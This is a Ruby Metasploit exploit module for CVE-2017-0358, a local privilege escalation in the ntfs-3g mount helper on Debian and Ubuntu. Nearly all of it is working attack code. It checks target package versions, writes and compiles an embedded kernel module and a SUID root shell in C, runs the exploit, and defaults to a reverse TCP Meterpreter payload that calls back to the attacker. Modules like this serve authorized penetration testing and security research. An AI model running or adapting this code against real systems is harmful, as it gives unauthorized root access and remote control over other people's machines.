## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Local Rank = GoodRanking include Msf::Exploit::EXE include Msf::Post::File include Msf::Exploit::FileDropper def initialize(info={}) super( update_info( info, { 'Name' => 'Debian/Ubuntu ntfs-3g Local Privilege Escalation', 'Description' => %q{ ntfs-3g mount helper in Ubuntu 16.04, 16.10, Debian 7, 8, and possibly 9 does not properly sanitize the environment when executing modprobe. This can be abused to load a kernel module and execute a binary payload as the root user. }, 'License' => MSF_LICENSE, 'Author' => [ 'jannh@google.com', # discovery 'h00die ' # metasploit module ], 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'References' => [ [ 'CVE', '2017-0358' ], [ 'EDB', '41356' ], [ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1072' ] ], 'Targets' => [ [ 'Linux x86', { 'Arch' => ARCH_X86 } ], [ 'Linux x64', { 'Arch' => ARCH_X64 } ] ], 'DefaultOptions' => { 'payload' => 'linux/x64/mettle/reverse_tcp', 'PrependFork' => true, }, 'DefaultTarget' => 1, 'DisclosureDate' => 'Jan 05 2017', 'Privileged' => true } )) register_options([ OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ], self.class) end def check # check if linux headers were installed on Debian (not ubuntu). The 'common' headers won't work. def headers_installed?() output = cmd_exec('dpkg -l | grep \'^ii\' | grep linux-headers.*[^common]{7}') if output if output.include?('linux-headers') return true else print_error('Linux kernel headers not available, compiling will fail.') return false end end false end output = cmd_exec('dpkg -l ntfs-3g | grep \'^ii\'') if output if output.include?('1:2015.3.14AR.1-1build1') #Ubuntu 16.04 LTS print_good('Vulnerable Ubuntu 16.04 detected') CheckCode::Appears elsif output.include?('1:2016.2.22AR.1-3') #Ubuntu 16.10 print_good('Vulnerable Ubuntu 16.10 detected') CheckCode::Appears elsif output.include?('1:2012.1.15AR.5-2.1+deb7u2') #Debian Wheezy, we also need linux-source installed print_good('Vulnerable Debian 7 (wheezy) detected') if headers_installed?() CheckCode::Appears else CheckCode::Safe end CheckCode::Appears elsif output.include?('1:2014.2.15AR.2-1+deb8u2') #Debian Jessie, we also need linux-source installed print_good('Vulnerable Debian 8 (jessie) detected') if headers_installed?() CheckCode::Appears else CheckCode::Safe end CheckCode::Appears else print_error("Version installed not vulnerable: #{output}") CheckCode::Safe end else print_error('ntfs-3g not installed') CheckCode::Safe end end def exploit def upload_and_compile(filename, file_path, file_content, compile=nil) rm_f "#{file_path}" if not compile.nil? rm_f "#{file_path}.c" vprint_status("Writing #{filename} to #{file_path}.c") write_file("#{file_path}.c", file_content) register_file_for_cleanup("#{file_path}.c") output = cmd_exec(compile) if output != '' print_error(output) fail_with(Failure::Unknown, "#{filename} at #{file_path}.c failed to compile") end else vprint_status("Writing #{filename} to #{file_path}") write_file(file_path, file_content) end cmd_exec("chmod +x #{file_path}"); register_file_for_cleanup(file_path) end # These are direct copies of the modules from EDB rootmod = %q{ #include #include #include #include #include static int suidfile_fd = -1; module_param(suidfile_fd, int, 0); static int __init init_rootmod(void) { int (*sys_fchown_)(int fd, int uid, int gid); int (*sys_fchmod_)(int fd, int mode); const struct cred *kcred, *oldcred; sys_fchown_ = (void*)kallsyms_lookup_name("sys_fchown"); sys_fchmod_ = (void*)kallsyms_lookup_name("sys_fchmod"); printk(KERN_INFO "rootmod loading\n"); kcred = prepare_kernel_cred(NULL); oldcred = override_creds(kcred); sys_fchown_(suidfile_fd, 0, 0); sys_fchmod_(suidfile_fd, 06755); revert_creds(oldcred); return -ELOOP; /* fake error because we don't actually want to end up with a loaded module */ } static void __exit cleanup_rootmod(void) {} module_init(init_rootmod); module_exit(cleanup_rootmod); MODULE_LICENSE("GPL v2"); } rootshell = %q{ #include #include #include #include int main(void) { if (setuid(0) || setgid(0)) err(1, "setuid/setgid"); fputs("we have root privs now...\n", stderr); execl("/bin/bash", "bash", NULL); err(1, "execl"); } } # we moved sploit.c off since it was so big to the external sources folder path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2017-0358', 'sploit.c') fd = ::File.open( path, "rb") sploit = fd.read(fd.stat.size) fd.close rootmod_filename = 'rootmod' rootmod_path = "#{datastore['WritableDir']}/#{rootmod_filename}" rootshell_filename = 'rootshell' rootshell_path = "#{datastore['WritableDir']}/#{rootshell_filename}" sploit_filename = 'sploit' sploit_path = "#{datastore['WritableDir']}/#{sploit_filename}" payload_filename = rand_text_alpha(8) payload_path = "#{datastore['WritableDir']}/#{payload_filename}" if check != CheckCode::Appears fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!') end def has_prereqs?() def check_gcc?() gcc = cmd_exec('which gcc') if gcc.include?('gcc') vprint_good('gcc is installed') return true else print_error('gcc is not installed. Compiling will fail.') return false end end def check_make?() make = cmd_exec('which make') if make.include?('make') vprint_good('make is installed') return true else print_error('make is not installed. Compiling will fail.') return false end end return check_make?() && check_gcc?() end if has_prereqs?() vprint_status('Live compiling exploit on system') else fail_with(Failure::Unknown, 'make and gcc required on system to build exploit for kernel') end # make our substitutions so things are dynamic rootshell.gsub!(/execl\("\/bin\/bash", "bash", NULL\);/, "return execl(\"#{payload_path}\", \"\", NULL);") #launch our payload, and do it in a return to not freeze the executable print_status('Writing files to target') cmd_exec("cd #{datastore['WritableDir']}") #write all the files and compile. This is equivalent to the original compile.sh #gcc -o rootshell rootshell.c -Wall upload_and_compile('rootshell', rootshell_path, rootshell, "gcc -o #{rootshell_filename} #{rootshell_filename}.c -Wall") #gcc -o sploit sploit.c -Wall -std=gnu99 upload_and_compile('sploit', sploit_path, sploit, "gcc -o #{sploit_filename} #{sploit_filename}.c -Wall -std=gnu99") #make -C /lib/modules/$(uname -r)/build M=$(pwd) modules upload_and_compile('rootmod', "#{rootmod_path}.c", rootmod, nil) upload_and_compile('Makefile', "#{datastore['WritableDir']}/Makefile", 'obj-m := rootmod.o', nil) cmd_exec('make -C /lib/modules/$(uname -r)/build M=$(pwd) modules') upload_and_compile('payload', payload_path, generate_payload_exe) #This is equivalent to the 2nd half of the compile.sh file cmd_exec('mkdir -p depmod_tmp/lib/modules/$(uname -r)') cmd_exec('cp rootmod.ko depmod_tmp/lib/modules/$(uname -r)/') cmd_exec('/sbin/depmod -b depmod_tmp/') cmd_exec('cp depmod_tmp/lib/modules/$(uname -r)/*.bin .') cmd_exec('rm -rf depmod_tmp') register_file_for_cleanup("#{rootmod_path}.ko") register_file_for_cleanup("#{rootmod_path}.mod.c") register_file_for_cleanup("#{rootmod_path}.mod.o") register_file_for_cleanup("#{rootmod_path}.o") # and here we go! print_status('Starting execution of priv esc.') output = cmd_exec(sploit_path) unless session_created? # this could also be output.include?('we have root privs now...'), however session_created handles some additional cases like elevation happened, # but binary payload was caught, or NIPS shut down the callback etc. vprint_error(output) end end def on_new_session(session) # if we don't /bin/bash here, our payload times out # [*] Meterpreter session 2 opened (192.168.199.131:4444 -> 192.168.199.130:37022) at 2016-09-27 14:15:04 -0400 # [*] 192.168.199.130 - Meterpreter session 2 closed. Reason: Died session.shell_command_token('/bin/bash') super end end